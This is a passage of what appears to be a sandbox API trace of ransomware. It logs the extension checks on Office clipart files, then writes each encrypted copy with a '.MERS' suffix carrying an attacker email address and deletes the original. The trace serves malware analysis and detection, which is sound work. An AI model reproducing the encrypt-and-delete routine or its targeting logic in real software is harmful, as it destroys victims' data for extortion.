Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0272.775] lstrlenW (lpString=".zip") returned 4 [0272.775] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.775] lstrlenW (lpString=".rar") returned 4 [0272.775] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.775] lstrlenW (lpString=".bz2") returned 4 [0272.775] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.775] lstrlenW (lpString=".7z") returned 3 [0272.775] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0272.775] lstrlenW (lpString=".dbf") returned 4 [0272.775] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0272.775] lstrlenW (lpString=".1cd") returned 4 [0272.775] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0272.775] lstrlenW (lpString=".jpg") returned 4 [0272.775] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0272.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0272.775] lstrlenW (lpString=".doc") returned 4 [0272.775] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.775] lstrlenW (lpString=".docx") returned 5 [0272.775] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.775] lstrlenW (lpString=".pdf") returned 4 [0272.775] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.775] lstrlenW (lpString=".xls") returned 4 [0272.775] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.775] lstrlenW (lpString=".xlsx") returned 5 [0272.775] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.776] lstrlenW (lpString=".ppt") returned 4 [0272.776] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0272.776] lstrlenW (lpString=".zip") returned 4 [0272.776] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.776] lstrlenW (lpString=".rar") returned 4 [0272.776] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.776] lstrlenW (lpString=".bz2") returned 4 [0272.776] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.776] lstrlenW (lpString=".7z") returned 3 [0272.776] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0272.776] lstrlenW (lpString=".dbf") returned 4 [0272.776] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0272.776] lstrlenW (lpString=".1cd") returned 4 [0272.776] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0272.776] lstrlenW (lpString=".jpg") returned 4 [0272.776] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.776] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0272.776] lstrlenW (lpString="BOAT.WMF") returned 8 [0272.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0272.777] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x30eff1c | out: lpFileSize=0x30eff1c*=3350) returned 1 [0272.777] CloseHandle (hObject=0x418) returned 1 [0272.777] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf")) returned 0x20 [0272.777] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0272.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0272.777] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0272.777] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0272.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0272.777] GetLastError () returned 0x0 [0272.777] ReadFile (in: hFile=0x418, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x30efed4*=0xd16, lpOverlapped=0x0) returned 1 [0272.845] WriteFile (in: hFile=0x410, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x30efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x30efc9c*=0xd20, lpOverlapped=0x0) returned 1 [0272.846] ReadFile (in: hFile=0x418, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x30efed4*=0x0, lpOverlapped=0x0) returned 1 [0272.846] WriteFile (in: hFile=0x410, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x30efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x30efc9c*=0xe4, lpOverlapped=0x0) returned 1 [0272.846] SetEndOfFile (hFile=0x410) returned 1 [0272.846] CloseHandle (hObject=0x410) returned 1 [0272.846] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0272.846] SetEndOfFile (hFile=0x418) returned 1 [0272.848] CloseHandle (hObject=0x418) returned 1 [0272.848] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0272.848] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf")) returned 1 [0272.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0272.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0272.848] lstrlenW (lpString=".doc") returned 4 [0272.848] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.848] lstrlenW (lpString=".docx") returned 5 [0272.848] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0272.848] lstrlenW (lpString=".pdf") returned 4 [0272.848] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.848] lstrlenW (lpString=".xls") returned 4 [0272.848] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.848] lstrlenW (lpString=".xlsx") returned 5 [0272.848] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0272.848] lstrlenW (lpString=".ppt") returned 4 [0272.848] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0272.848] lstrlenW (lpString=".zip") returned 4 [0272.848] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.848] lstrlenW (lpString=".rar") returned 4 [0272.848] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.848] lstrlenW (lpString=".bz2") returned 4 [0272.848] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.849] lstrlenW (lpString=".7z") returned 3 [0272.849] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0272.849] lstrlenW (lpString=".dbf") returned 4 [0272.849] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0272.849] lstrlenW (lpString=".1cd") returned 4 [0272.849] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0272.849] lstrlenW (lpString=".jpg") returned 4 [0272.849] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0272.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0272.849] lstrlenW (lpString=".doc") returned 4 [0272.849] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.849] lstrlenW (lpString=".docx") returned 5 [0272.849] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0272.849] lstrlenW (lpString=".pdf") returned 4 [0272.849] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.849] lstrlenW (lpString=".xls") returned 4 [0272.849] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.849] lstrlenW (lpString=".xlsx") returned 5 [0272.849] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0272.849] lstrlenW (lpString=".ppt") returned 4 [0272.849] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0272.849] lstrlenW (lpString=".zip") returned 4 [0272.849] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.849] lstrlenW (lpString=".rar") returned 4 [0272.849] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.849] lstrlenW (lpString=".bz2") returned 4 [0272.849] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.849] lstrlenW (lpString=".7z") returned 3 [0272.849] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0272.849] lstrlenW (lpString=".dbf") returned 4 [0272.850] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0272.850] lstrlenW (lpString=".1cd") returned 4 [0272.850] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0272.850] lstrlenW (lpString=".jpg") returned 4 [0272.850] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.850] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0272.850] lstrlenW (lpString="BS00092_.WMF") returned 12 [0272.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0272.850] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x30eff1c | out: lpFileSize=0x30eff1c*=7974) returned 1 [0272.850] CloseHandle (hObject=0x418) returned 1 [0272.850] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf")) returned 0x20 [0272.850] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0272.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0272.850] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0272.851] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0272.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0272.851] GetLastError () returned 0x0 [0272.851] ReadFile (in: hFile=0x418, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x30efed4*=0x1f26, lpOverlapped=0x0) returned 1 [0272.923] WriteFile (in: hFile=0x410, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0x1f30, lpNumberOfBytesWritten=0x30efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x30efc9c*=0x1f30, lpOverlapped=0x0) returned 1 [0272.924] ReadFile (in: hFile=0x418, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x30efed4*=0x0, lpOverlapped=0x0) returned 1 [0272.924] WriteFile (in: hFile=0x410, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x30efc9c*=0xec, lpOverlapped=0x0) returned 1 [0272.924] SetEndOfFile (hFile=0x410) returned 1 [0272.924] CloseHandle (hObject=0x410) returned 1 [0272.924] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0272.924] SetEndOfFile (hFile=0x418) returned 1 [0272.926] CloseHandle (hObject=0x418) returned 1 [0272.926] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0272.926] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf")) returned 1 [0272.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0272.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0272.926] lstrlenW (lpString=".doc") returned 4 [0272.926] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.926] lstrlenW (lpString=".docx") returned 5 [0272.926] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.926] lstrlenW (lpString=".pdf") returned 4 [0272.926] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.926] lstrlenW (lpString=".xls") returned 4 [0272.926] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.926] lstrlenW (lpString=".xlsx") returned 5 [0272.926] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.926] lstrlenW (lpString=".ppt") returned 4 [0272.926] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0272.926] lstrlenW (lpString=".zip") returned 4 [0272.926] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.927] lstrlenW (lpString=".rar") returned 4 [0272.927] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.927] lstrlenW (lpString=".bz2") returned 4 [0272.927] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.927] lstrlenW (lpString=".7z") returned 3 [0272.927] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0272.927] lstrlenW (lpString=".dbf") returned 4 [0272.927] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0272.927] lstrlenW (lpString=".1cd") returned 4 [0272.927] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0272.927] lstrlenW (lpString=".jpg") returned 4 [0272.927] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0272.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0272.927] lstrlenW (lpString=".doc") returned 4 [0272.927] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.927] lstrlenW (lpString=".docx") returned 5 [0272.927] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.927] lstrlenW (lpString=".pdf") returned 4 [0272.927] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.927] lstrlenW (lpString=".xls") returned 4 [0272.927] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.927] lstrlenW (lpString=".xlsx") returned 5 [0272.927] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.927] lstrlenW (lpString=".ppt") returned 4 [0272.927] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0272.927] lstrlenW (lpString=".zip") returned 4 [0272.927] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.927] lstrlenW (lpString=".rar") returned 4 [0272.927] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.927] lstrlenW (lpString=".bz2") returned 4 [0272.928] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.928] lstrlenW (lpString=".7z") returned 3 [0272.928] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0272.928] lstrlenW (lpString=".dbf") returned 4 [0272.928] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0272.928] lstrlenW (lpString=".1cd") returned 4 [0272.928] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0272.928] lstrlenW (lpString=".jpg") returned 4 [0272.928] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.928] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0272.928] lstrlenW (lpString="BS00145_.WMF") returned 12 [0272.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x284 [0272.941] GetFileSizeEx (in: hFile=0x284, lpFileSize=0x30eff1c | out: lpFileSize=0x30eff1c*=1712) returned 1 [0272.941] CloseHandle (hObject=0x284) returned 1 [0272.941] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf")) returned 0x20 [0272.944] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0272.944] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0272.944] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0272.944] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0272.944] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0272.945] GetLastError () returned 0x0 [0272.945] ReadFile (in: hFile=0x410, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x30efed4*=0x6b0, lpOverlapped=0x0) returned 1 [0273.069] WriteFile (in: hFile=0x3e8, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0x6c0, lpNumberOfBytesWritten=0x30efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x30efc9c*=0x6c0, lpOverlapped=0x0) returned 1 [0273.070] ReadFile (in: hFile=0x410, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x30efed4*=0x0, lpOverlapped=0x0) returned 1 [0273.070] WriteFile (in: hFile=0x3e8, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x30efc9c*=0xec, lpOverlapped=0x0) returned 1 [0273.070] SetEndOfFile (hFile=0x3e8) returned 1 [0273.070] CloseHandle (hObject=0x3e8) returned 1 [0273.071] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0273.071] SetEndOfFile (hFile=0x410) returned 1 [0273.073] CloseHandle (hObject=0x410) returned 1 [0273.075] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0273.075] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf")) returned 1 [0273.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0273.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0273.075] lstrlenW (lpString=".doc") returned 4 [0273.075] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.075] lstrlenW (lpString=".docx") returned 5 [0273.075] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.075] lstrlenW (lpString=".pdf") returned 4 [0273.075] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.075] lstrlenW (lpString=".xls") returned 4 [0273.075] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.075] lstrlenW (lpString=".xlsx") returned 5 [0273.075] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.075] lstrlenW (lpString=".ppt") returned 4 [0273.075] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0273.075] lstrlenW (lpString=".zip") returned 4 [0273.076] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.076] lstrlenW (lpString=".rar") returned 4 [0273.076] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.076] lstrlenW (lpString=".bz2") returned 4 [0273.076] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.076] lstrlenW (lpString=".7z") returned 3 [0273.076] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0273.076] lstrlenW (lpString=".dbf") returned 4 [0273.076] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0273.076] lstrlenW (lpString=".1cd") returned 4 [0273.076] 